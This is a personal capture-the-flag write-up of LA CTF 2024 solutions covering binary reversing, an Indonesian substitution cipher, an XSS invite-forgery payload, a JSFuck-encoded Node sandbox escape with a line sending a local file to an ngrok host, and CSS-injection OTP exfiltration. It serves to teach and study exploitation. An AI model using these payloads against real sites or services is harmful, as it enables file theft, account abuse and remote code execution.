2024-02-18, a Sunday

LA CTF 2024

programming ctf

As ACM Cyber at UCSD, we played as one team for LA CTF, hosted by ACM Cyber at UCLA. Since the Open Division (i.e. non-UCLA teams) has no team size restriction, one could say that our team encompasses all of UCSD. Altogether, we placed 18th globally, of over 1000 teams, and solved 38 of the 53 challenges available.

Here are the challenges I worked on, listed hardest (i.e. most interesting) first:

The following sections are listed in chronological order of when we solved it. I like to work on problems easiest first. If you’re short on time, I recommend at least reading web/quickstyle since I think it’s the most interesting challenge (it intersects CSS and graph theory).


rev/shattered-memories by aplet123. 697 solves / 115 points

I swear I knew what the flag was but I can’t seem to remember it anymore… can you dig it out from my inner psyche?

Downloads: shattered-memories

This was the first challenge I looked at. I tried disassembling it, but then a teammate walked by, glanced at it, and suggested using strings on it.

$ strings ./shattered-memories
What was the flag again?
No, I definitely remember it being a different length...
No, that definitely isn't it.
I'm pretty sure that isn't it.
I don't think that's it...
I think it's something like that but not quite...
There's something so slightly off but I can't quite put my finger on it...
Yes! That's it! That's the flag! I remember now!

Well, there are pieces of the flag:

And so the rest of the challenge was just putting the pieces together, which I did manually: t_what_f made the most sense after no to form “not”; the f completes the beginning of “forgive” in orgive_a; and “and” with nd_forge; leaving t_means}.

The flag is lactf{not_what_forgive_and_forget_means}. 🎉


rev/aplet321 by kaiphait. 445 solves / 199 points

Unlike Aplet123, Aplet321 might give you the flag if you beg him enough.

nc chall.lac.tf 31321

Downloads: Dockerfile aplet321

The teammate from earlier had already solved it and was reeling with laughter from the solution, but he didn’t submit the flag.

He recommended I install Ghidra, but its installation seemed too involved: it’s a large ZIP file, and it requires having Java installed. After the ZIP file was finally unpacked, I couldn’t find the script I had to run to start it. So I uploaded the binary to Dogbolt, an online decompiler, instead.

setbuf(stdout,(char *)0x0);
puts("hi, i\'m aplet321. how can i help?");
sVar2 = strlen(&local_238);
if (5 < sVar2) {
  iVar4 = 0;
  iVar5 = 0;
  pcVar3 = &local_238;
  do {
    iVar1 = strncmp(pcVar3,"pretty",6);
    iVar5 = iVar5 + (uint)(iVar1 == 0);
    iVar1 = strncmp(pcVar3,"please",6);
    iVar4 = iVar4 + (uint)(iVar1 == 0);
    pcVar3 = pcVar3 + 1;
  } while (pcVar3 != acStack_237 + ((int)sVar2 - 6));
  if (iVar4 != 0) {
    pcVar3 = strstr(&local_238,"flag");
    if (pcVar3 == (char *)0x0) {
      puts("sorry, i didn\'t understand what you mean");
      return 0;
    if ((iVar5 + iVar4 == 0x36) && (iVar5 - iVar4 == -0x18)) {
      puts("ok here\'s your flag");
      system("cat flag.txt");
      return 0;
    puts("sorry, i\'m not allowed to do that");
    return 0;
puts("so rude");
return 0;

local_238 has the user input, and sVar2 is its length (which must be greater than 5 characters).

Inside the do-while loop, pcVar3 seems to be the equivalent of the i of a for loop because it increments every iteration. It’s a pointer to the current character in the loop and uses strncmp to compare the next 6 characters from the pointer to the strings pretty and please, incrementing iVar5 and iVar4 if they match, respectively. The loop seems to stop 6 characters before the end of the string (with the sVar - 6). Therefore, this loop counts the number of prettys and pleases in the input string.

In JavaScript, the equivalent code might look something like this:

let pretties = 0
let pleases = 0
for (let i = 0; i < input.length - 6; i++) {
  pretties += input.slice(i, i + 6) === 'pretty'
  pleases += input.slice(i, i + 6) === 'please'

Then, after the loop, right before printing the contents of flag.txt, it checks if (iVar5 + iVar4 == 0x36) && (iVar5 - iVar4 == -0x18). This is a system of equations:

\[\begin{cases} a + b = 54 \\ a - b = -24 \end{cases}\]

So that’s $2a = 30 \to a = 15$ prettys and $2b = 78 \to b = 39$ pleases.

> 'pretty'.repeat(15) + 'please'.repeat(39)
$ nc chall.lac.tf 31321
hi, i'm aplet321. how can i help?
sorry, i didn't understand what you mean

Why didn’t that work? Well, there’s also an if statement that checks that strstr(&local_238,"flag") isn’t 0x0; otherwise, it gives the error we got. strstr finds the second string, flag, in the first string, which is my input, and returns null (0x0) if it can’t find it. So this means I just need to add flag to my input:

$ nc chall.lac.tf 31321
hi, i'm aplet321. how can i help?
ok here's your flag

🎉 That really is a pretty amusing way to get a flag.

crypto/selamat pagi

crypto/selamat pagi by AVDestroyer. 331 solves / 275 points

If you talk in another language, nobody can understand what you say! Check out this message I sent in Indonesian. To add some extra security, I also applied a monoalphabetic substitution cipher on it!

Downloads: message.txt

Efe kqkbkx czwkf akfs kdkf qzfskf wzdcjtfk
Ieqku kqk akfs ikxj kck akfs wkak ukikukf :Q
Lzfqztk ukdj kqk qe wefe: bkvim{wzbkdki_ckse_kckukx_ukdj_wjuk_kfkbewew_mtzujzfwe}

Other teammates were already collaborating on this one, and I joined in once I heard them mention languages. I like linguistics.

Our team used dcode.fr’s substitution cipher tool to plug in letters visually.

bkvim is very likely to be lactf:

... a.ala. ...a. .a.. a.a. ....a. .......a
T..a. a.a .a.. ta.. a.a .a.. .a.a .ata.a. :.
......a .a.. a.a .. ....: lactf{..la.at_.a.._a.a.a._.a.._...a_a.al...._f........}

Our team had been plugging common words and phrases into Google Translate to see what some common Indonesian words could be. I thought that “flag” would very likely be in the text, so I used Wiktionary to look up the Indonesian translation for “flag”: bendera. Their Wikipedia article for the Indonesian flag also uses bendera.

The only 7-lever word that could fit bendera was ......a. Putting the letters in produces:

.n. adala. .e.an .an. a.an den.an .e...rna
T.da. ada .an. ta.. a.a .an. .a.a .ata.an :D
Bendera .a.. ada d. ..n.: lactf{.ela.at_.a.._a.a.a._.a.._...a_anal...._fre..en..}

The words aren’t as apparent with just these letters, but my teammates, from plugging in other words, had already identified other letters like U and S:

.n. adala. .esan .an. a.an den.an se..urna
T.da. ada .an. ta.u a.a .an. sa.a .ata.an :D
Bendera .a.u ada d. s.n.: lactf{sela.at_.a.._a.a.a._.a.u_su.a_anal.s.s_fre.uens.}

That anal.s.s_fre.uens. looks a lot like “frequency analysis.” My teammates tried to plug in Q and Y, which I think is a bit English-minded because Q and Y are extremely unusual letters to use for the sounds /k/ and /i/. Particularly for a language that adopted the Latin alphabet relatively recently, using K and I for those phonemes is much more common.

Ini adala. .esan .an. a.an den.an se..urna
Tidak ada .an. ta.u a.a .an. sa.a katakan :D
Bendera ka.u ada di sini: lactf{sela.at_.a.i_a.aka._ka.u_suka_analisis_frekuensi}

I wasn’t around when they finished the rest of the letters, but it was pretty quick. For example, Google autocomplete for ini adala gives ini adalah kerana, so the letter after adala must be H. Also, sela.at looks like it could be selamat from the challenge name. And the word after, .a.i, could be pagi. And while these letters are already enough for the flag, there’s still a missing letter remaining in .ang. Going down this Indonesian letter frequency list, it seems the most frequent letter we haven’t used yet is Y. This produces:

Ini adalah pesan yang aman dengan sempurna
Tidak ada yang tahu apa yang saya katakan :D
Bendera kamu ada di sini: lactf{selamat_pagi_apakah_kamu_suka_analisis_frekuensi}

🎉 And through Google Translate:

This is a perfectly secure message

No one knows what I said :D

Your flag is here: lactf{good_morning_do_you_like_frequency_analysis}


web/new-housing-portal by r2uwu2. 214 solves / 368 points

After that old portal, we decided to make a new one that is ultra secure and not based off any real housing sites. Can you make Samy tell you his deepest darkest secret?

Hint - You can send a link that the admin bot will visit as samy.

Hint - Come watch the real Samy’s talk if you are stuck!

Site - new-housing-portal.chall.lac.tf

Admin Bot - https://admin-bot.lac.tf/new-housing-portal

Downloads: new-housing-portal.zip

Someone in the room mentioned JavaScript, which got my attention. They were apparently just too lazy to write the XSS payload for this challenge, so I decided to try it.

The landing page for new-housing-portal is a login page.

The home page after logging in

The website is a roommate finder1. On the “Find Roomates” page, you search for users by their username, then send an invite to them. The “View Invitations” page lists the invites that were sent to you.

The vulnerability for this challenge is somewhat obvious by looking at the source code, which is both conveniently provided in both the ZIP file and the page source.

// src/finder/index.js
const params = new URLSearchParams(location.search);
const query = params.get('q');
if (query) {
  (async () => {
    const user = await fetch('/user?q=' + encodeURIComponent(query))
      .then(r => r.json());
    if ('err' in user) {
      $('.err').innerHTML = user.err;
    $('.user input[name=username]').value = user.username;
    $('span.name').innerHTML = user.name;
    $('span.username').innerHTML = user.username;
// src/request/index.js
const { invitations } = await fetch('/invitation').then(r => r.json());
$('.invitations').innerHTML = invitations.map((inv) => `
  <div class="invitation">
    <div class="col">
      <div class="from">From: ${inv.from}</div>
      <div class="secret">Deepest Darkest Secret: ${inv.deepestDarkestSecret}</div>
    <div class="col">

Both of these pages use innerHTML without any sanitization, so a standard XSS payload like <img src=x onerror="alert(1)"> should work. This tries to load a nonexistent image at ./x and fails, running the JavaScript in the onerror handler.

It seems any of the values on the registration page—the username, name, and the “Deepest Darkest Secret”—are all opportunities for XSS.

So where’s the flag? The provided ZIP also has the server code:

// src/server.js
users.set('samy', {
  username: 'samy',
  name: 'Samy Kamkar',
  deepestDarkestSecret: process.env.FLAG || 'lactf{test_flag}',
  password: process.env.ADMINPW || 'owo',
  invitations: [],
  registration: Infinity

So I need to get Samy’s deepest, darkest secret for the flag. It displays the deepest darkest secrets on the invitations page, so I need to get Samy to invite me. Using Admin Bot, I can get Samy on a page that has my XSS on it to make him invite me.

There are a few opportunities for this:

I opted for the second strategy.

My XSS payload should mimic the same HTTP request that the website makes when I send an invite. With inspect element’s network log open, I invited a user b, then copied the POST request entry as fetch. Here are the request details, with irrelevant headers removed:

POST /finder HTTP/1.1
Host: new-housing-portal.chall.lac.tf
Content-Type: application/x-www-form-urlencoded


The following HTML makes the same POST request using JavaScript fetch, except it invites the username of one of my accounts, a, instead.

<img src=x onerror="fetch('/finder', { method: 'POST', body: (f = new FormData(), f.append('username', 'a'), f) })">

I created a new account in incognito mode with its name set to that HTML, and then I invited a from the new account. Then, in a’s invitations, I saw a broken image:

Invitations to room with you: From: [broken image] Deepest Darkest Secret: todo

I checked the network log to see what it sent.

The network log has entries for `finder` and `finder?err=username%20does%20not%20exist`

So why didn’t it work?

After playing around with my code, I realized why when I looked at what my code was sending:

------WebKitFormBoundaryAYicWtFJFI9v1WHB Content-Disposition: form-data; name="username" a ------WebKitFormBoundaryAYicWtFJFI9v1WHB--

It seems by using JavaScript’s FormData object, it always wraps its data in some WebKitFormBoundary, which the server doesn’t seem to accept. So I got rid of it and set the Content-Type header manually instead:

fetch('/finder', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'username=a'

Running this in the console seemed successful based on the network log.

The network log has entires for `finder` and `finder?msg=invitation%20sent!`

So, I created a new account with the fixed HTML:

<img src=x onerror="fetch('/finder', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'username=a' })">

I invited samy, then made Admin Bot visit https://new-housing-portal.chall.lac.tf/request/. I checked my invitations:

From: samy. Deepest Darkest Secret: lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}



Warning: There’s a lot of hairy JavaScript in this challenge.

misc/jsfudge by r2dev2. 31 solves / 486 points

JsFudge this JsFudge that, why don’t you JsFudge the flag.

nc chall.lac.tf 31130

Downloads: Dockerfile index.js

Most of the telltale clues are in the runCode definition in index.js, which ultimately just runs eval on whatever code you submit (so you can do anything you want on their server). However, there are two catches:

const allowed = new Set('()+[]!');
for (const char of code) {
  if (!allowed.has(char)) {
    console.log('Oops, make sure to only use characters "()+[]!"');

This means code must only use ()+[]!. This is infamously JSFuck’s character set, where any JavaScript can be rewritten using just those characters and still be valid JavaScript. The JSFuck website has a converter for arbitrary JS into equivalent JavaScript that only uses the characters in ()+[]!.

However, you can’t just use the converter for this challenge:

// hehe ^w^
const oldProto = [].__proto__.toString;
[].__proto__.toString = () => '^w^';

Normally, JavaScript arrays, when cast to a string, will cast each of its elements to a string and then join them together with a comma ,. For example, '' + [1, 2, 3] produces the string 1,2,3. JSFuck uses this to convert values into strings. However, the effect of this change is that casting arrays to strings always returns the string ^w^ instead of the contents of the array.

What does this change? Well, JSFuck relies on JavaScript’s current array-to-string behavior for two important values:

My first attempt was to try resetting [].__proto__.toString back to its original form, so I put it into JSFuck’s converter and tried to fix any issues caused by the change. These were the substitutions I did to the code generated by JSFuck:

All this was just to generate the underscore character _ for __proto__. JSFuck creates a function that returns a string with an octal escape sequence, then calls it: Function('return"\137"')(). This escape sequence method is JSFuck’s last resort for characters it can’t get through other means.

After fixing everything, I realized that my plan of resetting [].__proto__.toString wouldn’t work because I also needed a reference to the original Array.prototype.toString. While I felt like it was possible, I couldn’t be bothered to try to investigate and fix more issues caused by an even longer string needed.

That was because I realized that I could adapt the octal escape sequence code to get any character I wanted. All I needed to do was write a script:

backslash = `([]
    [(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(! … !+[]+!+[]+!+[]+!+[]])+[])[+!+[]]`
// create octal codes
w=(Array.from(`require('https').get('https://57e8-104-177-117-127.ngrok-free.app/' + require('fs').readFileSync('.vimrc').toString())`, c => `${backslash}+(${'!+[]+'.repeat(+c.codePointAt().toString(8)).slice(0, -1)})`).join('+'))
// return string of octal codes
w=`(!![]+[])[+!+[]] … []+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]
  ([]+[])[(![]+[])[+!!+[]]+(!![]+[][(![]+[])[+!!+[]]+(![]+[]) … !+[]+!+[]+!+[]]`
// eval string expression
w=`[][(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+ … +[]]+(!![]+[])[+!+[]]]
// eval it
w=`[][(![]+[])[+!!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+ … +[]]+(!![]+[])[+!+[]]]
w = w.replace(/\s/g, '')

I truncated the JSFuck code because it’s a bit long. You can view the full file here.

What this does is,

  1. Store the JSFuck code for a backslash character in a variable backslash for convenience.

  2. Split the attack code I want to execute (inside Array.from()) into individual characters, convert the characters into an octal escape sequence (backslash + the code point of the character in base 8), and then join them all together with + signs. This sets w to code to generate a long string of octal sequences.

    For example, the string hello would become '\' + 150 + '\' + 145 + '\' + 154 + '\' + 154 + '\' + 157.

  3. Wrap w in code that puts the octal sequences in a string literal. This is essentially the same as

    w = `return "${w}"`
  4. Wrap w in code that converts the string into a function and calls it.

    w = `Function(${w})()`

    All this is just to produce a string containing the original attack script.

  5. Wrap w again to actually call my script:

    w = `Function(${w})()`

So I ran the script to generate code, which I pasted into an unassuming 350-kB file that I piped into the nc server.

$ cat test/lactf-jsfudge.js | nc chall.lac.tf 31130
Gimme some js code to run
oopsie woopsie stinki poopie ReferenceError: require is not defined
    at eval (eval at <anonymous> (eval at runCode (/app/run:16:21)), <anonymous>:3:1)
    at eval (eval at runCode (/app/run:16:21), <anonymous>:1:350288)
    at runCode (/app/run:16:21)
    at /app/run:31:5
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)


Even though it didn’t look like it in index.js, eval seemed to be sandboxed somehow, and require wasn’t directly available.

Okay, fine. I vaguely recalled from a prior challenge that it can be fairly trivial to bypass this. I looked online and found this vulnerability, which gave a pretty simple proof of concept:

const safe_eval = require('safe-eval')
code = `
import('test').catch((e)=>{})['constructor']['constructor']('return process')().mainModule.require('child_process').execSync('touch rce')

This gets a Promise object’s constructor (Promise)’s constructor (Function) to create a function that returns process, then access require via process.mainModule.require.

My exfiltration script looked very similar:

console.log(import('fs').constructor.constructor('return process')().mainModule.require('fs').readFileSync('flag.txt').toString())

I turned this into JSFuck and plugged it into the server. 🎉

$ cat test/lactf-jsfudge.js | nc chall.lac.tf 31130
Gimme some js code to run

oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'toString')
    at runCode (/app/run:17:25)
    at /app/run:31:5
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

Here are links to lactf-jsfudge.js (392 kB) and the code that generates it.


rev/glottem by aplet123. 89 solves / 455 points

Haha glottem good!

Note: The correct flag is 34 characters long.

Downloads: glottem

This is a pretty cool challenge.

read -p "flag? " flag
node $0 "$flag" && python3 $0 "$flag" && echo correct || echo incorrect
*///""";from sys import argv
e = […]
#*/for (let i = 0; i < s.length; i ++) {/*
for i in range(6,len(s)-2):

(That e = […] line is a long 3D array of numbers ranging from 10 to 17.)

The #!/bin/sh line suggests that it’s a Bash script (more accurately, just sh for shell). But other lines in the code, as hinted by the node and python3 commands, suggest that it might also be a JavaScript and Python file. It’s a polyglot (hence the challenge name)!

The syntax highlighting on this website might not show it very well (the colors make it clearer on Discord), but in Bash, the first and last commands don’t do anything:


My impression of this is that 4201337 is just a string to indicate the start and end of a raw string, so you don’t have to worry about escaping any characters inside there. I thought that maybe << is like how >> is to >, where it pipes the contents of some file with that name into a command 1, which is an alias for true. While writing this write-up, I looked up what << does, and I appear to be completely wrong. Oh well.

So the only relevant lines, from Bash’s point of view, are

e = […]
read -p "flag? " flag
node $0 "$flag" && python3 $0 "$flag" && echo correct || echo incorrect
  1. The first command stores a list in e, which isn’t used anywhere, so it doesn’t do anything.
  2. The second command asks the user for the flag and stores it in a variable flag.
  3. The third command passes the flag to Node and Python, running it on the same glottem file. If they both pass, then it echoes correct.

So I just need the Node and Python interpretations to accept my flag.

In JavaScript, the code looks like this:

read -p "flag? " flag
node $0 "$flag" && python3 $0 "$flag" && echo correct || echo incorrect
*///""";from sys import argv
e = []
#*/for (let i = 0; i < s.length; i ++) {/*
for i in range(6,len(s)-2):

The numbers, 1<<4201337, 1, and 4201337 don’t do anything. While JavaScript’s comment syntax normally uses //, it will also treat #! as a comment if it’s at the beginning of the file.4

This leaves the following lines:

e = []
for (let i = 0; i < s.length; i ++) {

Interestingly, JavaScript doesn’t use e either. It creates aliases for exit and argv so some of the statements can be the same in Python and JavaScript.

s is the flag (including the lactf{...} part), and it loops over each character’s code point and does some math with it. The %93097 looks a bit annoying because modular arithmetic is hard to reverse.

The final line, exit(+(d!=260,[d!=61343])[0]), is interesting, and I’ll ramble more about it when looking at Python. But ultimately, d just needs to equal 61343 at the end for the script to exit with 0, which means success in Bash.

I tried to work backwards. Even though I don’t know what d was, I knew that it couldn’t be more than 93097, and before being added to the character code, it would be multiplied by 31. So, I thought, maybe I could try guessing all the characters in alpha and see which of them have a prior value of d that could result in 61343.

MOD = 93097
check = (last,alpha=ALPHA) => {
  poss = []
for (const c of alpha) {
  for (let i = 0; i < 32; i++ ) if ((last + MOD*i - c.charCodeAt()) % 31 === 0) poss.push({ char:c, newD:(last + MOD*i - c.charCodeAt())/31})
  return poss
last = check(61343, '}')[0].newD

I know that the last character of s is } because of the flag format. And the one before it?

A list of pretty much every letter and a corresponding potential `d` value.

I guess it barely narrows anything at all. Hmmph!

Let’s look at the script with a Python lens.

read -p "flag? " flag
node $0 "$flag" && python3 $0 "$flag" && echo correct || echo incorrect
*///""";from sys import argv
e = []
#*/for (let i = 0; i < s.length; i ++) {/*
for i in range(6,len(s)-2):

Again, the numbers (1<<4201337, 1//1, and 4201337), tuples, and multiline strings """...""" don’t do anything, and # is Python syntax for comments. So the only lines that matter are,

from sys import argv
e = []
for i in range(6,len(s)-2):

This one does use e. The range(6,len(s)-2) makes it iterate over adjacent pairs of characters inside the curly braces of lactf{...}. e has a 2D array for every character in the flag, and it looks up numbers inside it based on the characters of the pair. These numbers must add up to 260.

As an aside, this is a great line:


In JavaScript, the comma operator runs and discards the result of d!=260, so (d!=260,[d!=61343]) returns the array [d!=61343]; [0] gets the boolean inside the array, and + casts it to a number for the exit code. So JavaScript exits with d!=61343.

Meanwhile, in Python, the comma operator forms a tuple, so [0] indexes into the tuple (d!=260,[d!=61343]), returning d!=260. Python exits with d!=260. I think it’s pretty cool that the polyglot exploits the difference in how , behaves in the two languages.

Anyways, I figured that since len(e) was 26, and the smallest value in e was 10, the content of the string between the curly braces of the flag was probably 26 characters long too, and I needed to find a string whose pairs only had 10 values inside e. However, there seemed to be many such values in the array, so I felt like backtracking here wouldn’t be helpful.

I instead focused on trying to backtrack in JavaScript, but I eventually gave up.

When I came back to the challenge, they had released a hint:

Note: The correct flag is 34 characters long.

This confirms what I suspected: the lactf{} part of the flag is 7 characters, leaving 27 characters in the string, or 26 adjacent pairs.

I tried working backwards using e:

last = null
for (let i = e.length; i--;) {
  last = new Set(e[i].map((a,prev) =>a.flatMap((b,next) =>(!last || last.includes(alpha[next])) && b === 10?[prev]:[])).flat().map(i => alpha[i]))
  last = Array.from(last).join('')

This looks for every occurrence of 10 in the last element of e and looks up the first character of the pair based on the indices. It keeps track of these potential characters for the previous element of e. It repeats the process for previous characters, except it only considers character pairs where the second character was a potential candidate from the last round.

This was the output. Each row represents potential candidate letters from each 2D array in e.


This was disappointing to see, albeit not surprising, because I was hoping that it could narrow down the possibilities over time, revealing just one possible line of characters.

I decided to try keeping track of all the possible strings formed so far, rather than the characters themselves. Currently, it looked like there could be exponentially many possible flags. But maybe there is only a handful of possible strings of characters that jump around the place, making it seem like any character was possible for each step.

extend = (A, et) => {
  return A.flatMap((a) =>{
  index = alpha.indexOf(a[0])
  return et.flatMap((row, prevI) => row.flatMap((n, nextI) => (!a || nextI === index) && n === 10 ? [alpha[prevI] + (a || alpha[nextI])] : []))
  //return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []
last = extend([''], e.at(-1))
for (let i = 2; i < 8; i++) {
  last = extend(last, e.at(-i))
/*A = e.at(-1).flatMap((a,prev) =>{
  return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []
B = A.flatMap((a) =>{
  index = alpha.indexOf(a[0])
  return e.at(-2).flatMap((row, prevI) => row.flatMap((n, nextI) => nextI === index && n === 10 ? [alpha[prevI] + a] : []))
  //return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []

extend is a function that takes A, a list of possible flag strings, and et, the current 2D array from e. It starts with the last pair, extend([''], e.at(-1)), then grows it about another 8 times.

306 possible flag strings. The first several end with `_deal`.

It still grows exponentially, albeit pretty slowly. But it’s interesting that those first few strings all end in _deal!

I filtered the options by those that end in _deal and continued extending the possible strings.

17 possibilites, the first four end in `_free_deal`.

Not that many more possibilities, but the ones ending in _free_deal look promising.

And so I kept going:

extend = (A, et) => {
  return A.flatMap((a) =>{
  index = alpha.indexOf(a[0])
  return et.flatMap((row, prevI) => row.flatMap((n, nextI) => (!a || nextI === index) && n === 10 ? [alpha[prevI] + (a || alpha[nextI])] : []))
  //return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []
last = extend([''], e.at(-1))
for (let i = 2; i < 8; i++) {
  last = extend(last, e.at(-i))
last = last.filter( a => a.endsWith('_deal'))
for (let i = 8; i < 16; i++) {
  last = extend(last, e.at(-i))
last = last.filter( a => a.endsWith('_two_free_deal'))
for (let i = 16; i < 24; i++) {
  last = extend(last, e.at(-i))
last =["ve_one_get_two_free_deal"]
for (let i = 24; i <= 26; i++) {
  last = extend(last, e.at(-i))
/*A = e.at(-1).flatMap((a,prev) =>{
  return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []
B = A.flatMap((a) =>{
  index = alpha.indexOf(a[0])
  return e.at(-2).flatMap((row, prevI) => row.flatMap((n, nextI) => nextI === index && n === 10 ? [alpha[prevI] + a] : []))
  //return a.flatMap((b,next) =>b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length > 0 ? [{ prev, poss: wow }] : []

15 possibilities ending in `ve_one_get_two_free_deal`

Of these, solve_one_get_two_free_deal was the only one that looked like a flag, so I tried lactf{solve_one_get_two_free_deal}. It worked. 🎉 (Though by solving this, I disappointingly did not get two free flags.)


web/quickstyle by r2uwu2. 12 solves / 495 points

Script on the streets, style in the sheets, they call me the cascader.

Site - quickstyle.chall.lac.tf

Admin Bot - https://admin-bot.lac.tf/quickstyle

Downloads: quickstyle.zip

The website presented me with,

Please specify a user in the query!

I added ?user=1 to the URL, and the page changed to

Your One-Time-Password is: H6IhdwaaRtuvCgUMt5zrqcVWcBYWK85LudjvKkDyJ72k298verj8Z88suvUJbjQp9Mak2OLYhyNof1bE

With a disabled text input containing a random string of characters.

Looking at the provided server.js, there are a few things to note:

This meant that to get the flag, you need to have Admin Bot visit https://quickstyle.chall.lac.tf/?user=1, somehow grab the OTP it sees, then use the OTP on the /flag page to get the flag.

CSS injection: how?

Based on the challenge name and description, it seemed very likely that you would have to use CSS injection. The OTP is in a text input, so I can use CSS selectors on its value to do certain things depending on its contents.

input[value='password'] {
  background-image: url('https://example.com/');

In the above example, if the input value is password, then it sets its background image to https://example.com/, which will make the browser send a request to the page to try to get an image from it.

CSS injections usually involve one of two methods:

Looking at note.js, the web page accepts an additional URL parameter page, a URL (which could be a data: URL) that it fetches and inserts into the document.

const message = await fetch(url).then(r => r.text());
if (message.length > 6000000) return;
document.querySelectorAll('.message')[0].innerHTML = message;
document.querySelectorAll('style').forEach(s => s.remove());

It inserts the contents of the provided URL using innerHTML, which means I can perform my injection here. Curiously, it rejects message if it’s more than 6 MB, and annoyingly it also removes all <style> tags.

The content security policy (CSP) of the website is font-src 'none'; object-src 'none'; base-uri 'none'; form-action 'none'; script-src 'self'; style-src 'unsafe-inline'. This prevents us from trying to communicate with anything outside the website in many ways:

Curiously (with help from ChatGPT to brainstorm what the CSP doesn’t over), I still can load images and <iframe>s. However, my external <iframe>s can’t really communicate with or access anything on the web page with the OTP, so I didn’t know how to use them.

I could also use inline style attributes, but there’s no way to use CSS selectors inside them. While you can now nest CSS rules, this doesn’t seem to have been added to inline CSS.

So I got stuck and took a break.

While researching ways to get <iframe>s to work or add selectors to style attributes, I found a post5 that had something like this:

<form name="getElementById" ...>
  <!-- ... -->

I was trying to get rid of document.querySelectorAll using just HTML so it couldn’t remove my <style> elements. I knew that IDs create global variables that reference the element (for example, <span id="hey"> creates a global variable hey). However, it seems the built-in document object has priority over <span id="document">.

It seems, based on this post, that using a name attribute similarly creates a new entry under document. For example, <form name="hey"> creates a new entry document.hey, and apparently <form name="getElementById"> had more priority than the built-in document.getElementById method.

So just by adding some HTML, I could replace document.querySelectorAll with a form of the same name. This breaks the code because document.querySelectorAll as a form isn’t a function anymore, so calling it throws a TypeError, and <style> elements are no longer removed. 🙌

Now, I could finally focus on CSS injection.

Exfiltrating the OTP with CSS

However, there was another problem. Most CSS injection examples you find online will check one character at a time. You can only use CSS attribute selectors to check if a string starts with something, but not if a string exists at some specific point in the string.

For example, it’s easy enough to have CSS that looks something like

input[value^="a"] { background-image: url('https://example.com/a') }
input[value^="b"] { background-image: url('https://example.com/b') }
/* ... */

This would tell me what character the OTP starts with because it’ll load the corresponding background image from my web server.

However, there’s no way to check if the second character of the OTP is some letter. Attribute selectors don’t have any pattern matching like

input[value~="^.a"] { ... }

where it checks the second character while allowing the first character to be anything. The only things CSS can check are:

Most CSS injection challenges you can find on the web don’t need to worry about the problem. Once they know what the secret starts with, they can create a new CSS file that checks if the secret starts with that character followed by some character.

/* We know it starts with K */
input[value^="Ka"] { background-image: url('https://example.com/Ka') }
input[value^="Kb"] { background-image: url('https://example.com/Kb') }
/* ... */

But we don’t get this luxury. Our secret is a one-time password that changes with every page load, and every page load will invalidate the user’s previous OTP by overwriting it with the new one. If we wanted to do something like this, we’d need to have a rule for every possible string. There are 62 possible characters for each of the 80 characters in the string, so the list of possible strings will grow long quickly. Our CSS file has to be under 6 MB.

One idea I had was to use CSS nesting to try generating these combinations without actually iterating through all of them. Something like,

a {
  &a {
    &a {
      ... {
        [value="&"] {
          background-image: url('https://example.com/' &);
  &b {
b {

Perhaps unsurprisingly, this is not how CSS nesting works.

Because of the CSP, I can’t <link> or @import a CSS file from a custom web server that streams new rules over as characters get discovered one by one.

What I could do, however, is to generate a CSS file that checks if every possible sequence of three characters is in the string. Then, hopefully, I can reconstruct the OTP from just these trigraphs.

{const alpha = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
let html = '<form name=querySelectorAll><style>'
for (const a of alpha)
  for (const b of alpha)
    for (const c of alpha)
      void (html+=`[value*=${a}${b}${c}]{background:url(http://localhost:8000/${a}${b}${c})}`)
//location = '/?user=1&page=' + html.slice(0, 6e6)
 console.log(6e6/ html.length, 'kept')
await Deno.writeTextFile('heyy.html', html.slice(0, 6e6))}

Each trigraph requires an attribute selector that checks if the trigraph is in the OTP input’s value, and if so, it sets the input’s background image to an image URL that includes the trigraph. It printed 0.45773311489291907 kept, so less than half of the trigraphs could fit under the 6 MB limit.

I played around with the length of the URL to see if a short domain was important for the image URL, but compared to the rest of the selector, the length of the URL did not significantly affect how many trigraphs could fit in 6 MB. It would always keep around half of all trigraphs.

So okay, maybe even with half the trigraphs being reported, the remaining ones might still be enough to reconstruct the string.

I started a simple web server that just prints out the URLs of requests received:

 Deno.serve((req) => (console.log(decodeURIComponent(req.url)), new Response("hello world")));

The first issue I came across was that only one trigraph was being reported at a time. This was because multiple rules matched (because the OTP contains many trigraphs) but overrode each other’s background-image. The input can only have one background-image at a time, so only one background image was being requested from my server.

To solve this, I used CSS variables to avoid multiple rules overriding each other:

{const alpha = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
let html = '<form name=querySelectorAll><style>input{--_:none;'
 let background = 'background:var(--_)'
 const vars = 'abcdefghijklmnopqrstuvwxyzá'
 for (const l of vars) {
   background += `,var(--${l})`
   html += `--${l}:none;`
 html += background +'}'
      let i =0
for (const a of alpha) {
  for (const b of alpha)
    for (const c of alpha){
//location = '/?user=1&page=' + html.slice(0, 6e6)
 console.log(6e6/ html.length, 'kept')
await Deno.writeTextFile('heyy.html', html.slice(0, 6e6))}

Here, there are 27 variables available for now, and the possible trigraphs just rotate through them. I just hoped that if I added enough variables, there wouldn’t be many collisions.

This new version also gets the first character of the string.

